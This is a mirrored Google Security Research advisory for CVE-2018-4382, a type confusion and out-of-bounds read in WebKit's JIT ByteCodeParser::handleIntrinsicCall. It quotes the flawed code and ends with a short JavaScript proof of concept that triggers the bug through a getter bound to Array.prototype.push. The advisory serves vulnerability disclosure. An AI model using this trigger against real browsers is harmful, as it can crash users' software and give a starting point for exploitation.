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WebKit JIT ByteCodeParser::handleIntrinsicCall Type Confusion

WebKit JIT ByteCodeParser::handleIntrinsicCall Type Confusion
Posted Nov 30, 2018
Authored by Google Security Research, lokihardt

WebKit JIT has type confusion bugs in ByteCodeParser::handleIntrinsicCall.

tags | exploit
advisories | CVE-2018-4382
SHA-256 | 80230144bdea861cdd786d198f4417655144fdae813a68d336ee57b1a9cea2fd

WebKit JIT ByteCodeParser::handleIntrinsicCall Type Confusion

Change Mirror Download
WebKit: JIT: Type confusion bugs in ByteCodeParser::handleIntrinsicCall 

CVE-2018-4382


case ArrayPushIntrinsic: {
...

if (static_cast<unsigned>(argumentCountIncludingThis) >= MIN_SPARSE_ARRAY_INDEX)
return false;

ArrayMode arrayMode = getArrayMode(m_currentInstruction[OPCODE_LENGTH(op_call) - 2].u.arrayProfile, Array::Write);

...
}

This code always assumes that the current instruction is an op_call instruction. But that code can be reached from op_get_by_id or op_get_by_val instructions using getters. As an op_get_by_val instruction is smaller than an op_call instruction in size, this also can lead to an OOB read.

Note that the handlers for ArraySliceIntrinsic, ArrayIndexOfIntrinsic and ArrayPopIntrinsic have the same pattern.

PoC:
Array.prototype.__defineGetter__('a', Array.prototype.push);

function opt() {
let arr = new Array(1, 2, 3, 4);
arr['a' + ''];
}

for (let i = 0; i < 1000; i++) {
opt();
}

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.




Found by: lokihardt

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